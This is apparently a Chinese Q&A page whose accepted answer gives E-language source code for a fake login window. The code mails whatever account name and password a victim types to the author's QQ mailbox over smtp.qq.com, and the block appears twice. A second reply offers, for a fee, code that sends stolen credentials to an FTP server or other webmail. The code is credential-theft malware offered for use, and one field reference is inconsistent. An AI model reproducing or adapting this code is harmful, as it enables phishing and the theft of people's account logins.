展开全部
.版本 2
.支持库 internet
.程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入您的帐号!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入您的密码!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容) ' 判断编辑框1 的内容是否改变
连接发信服务器 (“smtp.qq.com”, 25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“帐号来了”, “帐号:” + 编辑框1.内容 + #换行符 + “密码:” + 编辑框2.内容 + #换行符, “这里输入你的邮箱地址:”, , , “这里输入你的邮箱地址 例如:913710921@qq.com”, )
临时记录 = 编辑框1.内容 ' 记录编辑框1 的内容
.支持库 internet
.程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入您的帐号!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入您的密码!”, #错误图标, “系统提示:”)
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容) ' 判断编辑框1 的内容是否改变
连接发信服务器 (“smtp.qq.com”, 25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“帐号来了”, “帐号:” + 编辑框1.内容 + #换行符 + “密码:” + 编辑框2.内容 + #换行符, “这里输入你的邮箱地址:”, , , “这里输入你的邮箱地址 例如:913710921@qq.com”, )
临时记录 = 编辑框1.内容 ' 记录编辑框1 的内容
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
我这有!但是我收费!有把账号密码发送到FTP服务器的源码跟发送到QQ邮箱或新浪邮箱等的代码!如果有需要在联系我吧
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询